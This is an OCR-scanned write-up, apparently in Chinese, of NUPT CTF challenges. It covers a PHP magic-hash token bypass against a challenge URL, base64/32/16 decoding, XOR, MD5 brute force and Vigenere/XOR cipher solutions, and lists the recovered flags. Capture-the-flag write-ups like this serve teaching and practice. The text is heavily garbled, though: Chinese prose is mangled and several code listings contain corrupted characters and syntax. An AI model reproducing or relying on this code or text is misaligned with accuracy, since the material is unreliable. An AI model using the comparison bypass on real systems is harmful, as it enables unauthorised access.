ERtokenKEN10H token! =" 0" AR, AIFABEE (SHERFARNFHRMSBWHEIRER, B
PLroe123'=="0"{ENE) Sit, ViN hitp/nctf.nuptz.cn/web14/submit.php?
emailAddress=admin%40nuptz.cn&token=0e12345678 B 7] .

[
I o

flag & BB —AER P E B 75
fn_Enctf(}

nctf{dssdcmiw}
binwalk -e 555.gif% & H—ik233333.gif, sh&EMIEE—MHKIERE —RWER ABREHE T
F HJ Detr #


http://nctf.nuptzj.cn/web14/index.php

R RIS, BT T KL E B WA 3T !

Bkt BB T — ik MR A
flag R I8 7 A KImd5E (M B)
ek n _Eflag

X R A nvshen.jpgFrE, HAERFFFEnvshen, FEHIFHE IR, FBIMNE— XK HBIALE L Hloveit B 3K E
A—ANE Alove B4, E#IEREBH6Cc6r7665 A504b0304 fREBBILMHKIIBA .

flag{abcaad3aaafa11b6d5ed583bef4d8a54}
AT
easy!

#3C: bmNOZnt0aGlzX212X2Jhc2U2NFIIbmNvZGV9
SRS HH SR B T 0T ¢

nctfithis_is_base64_encode}
FELinuxay 247 Aecho bmN0Znt0aGlzX21zX2Jhc2U2NF91bnNvZGV9 | base64 -dBIH]
keyboard

ERAERAEREMA!

ZRAEprERE R, IRAZETIN_Enctf(
ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm

BT 775 B FE B A b O B A R B

nctf{areuhack}

base644 X 1

EFMEFHEZ !

B S (fff s A B [ )

R1pDVE1NWIhHUTNETU4yQ0dZWKRNTUpYROOZREtNWIdHTTJES
1JSVOdJMORD TIpUR1kyVEANWIRHSTJVTUSSUkdaQ1RNTkJWSVk
ZREVOUIJHNFpUTUSKVEdFWIRNTjJF

¥ibase64. base32. base16H T ERS — ik B 7
nctf{base64 _ base32_and_base16}
niX base64


http://chinalover.sinaapp.com/decode1/base64.txt

import base64 as b

S='**'

while 1:
s=b.b64decode(s)
print s

nctf{please_use python to decode base64}
BER—KG

#3C: IEJqak3pjlaZONZLIlTLWWTqzgGAtW20yOTq1A3pzgas

function encode($str){
$_o=strrev($str);
for($_0=0;%$_o<strlrn($_o),$ _0++){
$_c=substr($_o0,%$_0,1);
$__=ord($_c)+1;
$_c=chr($_);
$_=%$_.%_c;
}
return str_rotl3(strrev(base64_encode($_)));

}

encode R HUE R B LR, HEFERFIN—, Af5basebddwiy, B, Frot13, AFREMNEEKFRF
#

<?php
$s="1iEJqak3pjIazeONzLiITLWWTqzqGAtW20y0TqlA3pzqgas";
function decode($str){
$strtmp=base64_decode(strrev(str_rotl3($str)));
$res="";
for($i=0;%i<strlen($strtmp);$i++){
$res.=chr(ord(substr($strtmp, $i,1))-1);
}

return strrev($res);

}

echo decode($s);

nctf{rot13and_base64and_strrev}

mixed base64


http://ctf.nuptsast.com/static/uploads/3e5c0c7045f2a81363a45d97d69911e3/code.txt

£ Ebase64N%, T (sang)fF(xin)iZ(bing)%:(kuang)!

import random

from base64 import *

result={
'16':1lambda x:bl6encode(x),
'32':1ambda x:b32encode(x),
'64':1lambda x:b64encode(x)

}

flag=b"{nctf{***}"

for i in range(10):
a=random.choice(['16"','32",'64"])
flag=result[a](flag)

with open("code.txt",'wb')as f:
f.write(flag)

SRR ARAD :

from base64 import bé4decode, b32decode, bl6decode
with open('code.txt', 'r') as f:
c = f.read()
def trys(s):
for £ in [b64decode, b32decode, blédecode]:
try:
t = f(s)
if t[:4] == "nctf":
print t
return ©
else:
trys(t)
except:
pass
trys(c)

nctf{random_mixed_base64 encode}

5 PR AR IR

FtEEE, FUEHARERRREK !
GREER, REEKD

R IR A S LR A

TIPS:

1.xor

2.hex2binary
3.len(bin(miwen))==len(bin(mingwen))


http://ctf.nuptsast.com/static/uploads/7ecc0dbd59f262e698b2dd94b39825bc/biubiubiu.zip

c=open('FX.txt"').read()

p=open('B3X.txt"').read()

st

for i in range(len(c)):
s+=chr(ord(c[i])”ord(p[i]))

print s

nctf{xor_xor_xor_biubiubiu}

MD5

python Kk !
XBEA—BRERFIMISE
€90327?7??da???08????9115137?0??7?a2
BORARIE R H Ak 3 BN _Enctf{}3@32

DAL ZE BHICH: TASC?03RIMV?WDJKX?ZM

FRHRIR: ZAEH

import hashlib
pool = '0123456789ABCDEFGHIJKLMNOPQRSTUVIWXYZ'
s@ = 'TASC?O3RIMV?WDIKX?ZM'
ss = s@.split('?")
m = 'e9032???da???08??2?2911513?0???a2"
for i in pool:
for j in pool:
for k in pool:
s = ss[@] + 1 + ss[1] + j + ss[2] + k + ss[3]
if hashlib.md5(s).hexdigest()[:5] == m[:5]:
print s, hashlib.md5(s).hexdigest()
break

nctf{e9032994dabac08080091151380478a2}

Vigenere

Itis said that Vigenere cipher does not achieve the perfect secrecy actually :-)

Tips:
1.The encode pragram is given;
2.Do u no index of coincidence?

3.The key is last 6 words of the plain text(with "nctf{}" when submitted, also without any interpunction)


https://en.wikipedia.org/wiki/Index_of_coincidence

http://ctf.nuptsast.com/static/uploads/13706e3281c1fb@c04417d3452cb745b/encode. cpp

#include <stdio.h>
#define KEY_LENGTH 2 // Can be anything from 1 to 13

main(){
unsigned char ch;
FILE *fpIn, *fpOut;
int i;
unsigned char key[KEY_LENGTH] = {0@x00, 0x00};
/* of course, I did not use the all-@s key to encrypt */

fpIn = fopen("ptext.txt", "r");
fpOut = fopen("ctext.txt", "w");

i=0;
while (fscanf(fpIn, "%c", &ch) != EOF) {
/* avoid encrypting newline characters */
/* In a "real-world" implementation of the Vigenere cipher,
every ASCII character in the plaintext would be encrypted.
However, I want to avoid encrypting newlines here because
it makes recovering the plaintext slightly more difficult... */
/* ...and my goal is not to create "production-quality" code =) */
if (ch!="\n") {
fprintf(fpoOut, "%@2X", ch ~ key[i % KEY_LENGTH]); // ~ is logical XOR
it++;

}

fclose(fpIn);
fclose(fpOut);
return;

http://ctf.nuptsast.com/static/uploads/9a27a6c8b9fb7b8d2a07ad94924c02e5/code. txt

FO6DE8C227A259C87EE1DA2AED57C93FESDA36EDAEC87EF2C63AAESBOA7EFFD673BE4AACF7BE8923CAB1ECE7AF2DA3DA44FCF7AE2923

#IJ_IL‘ o

23T bttps://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html


https://findneo.github.io/2017/10/nupt-vigenere/
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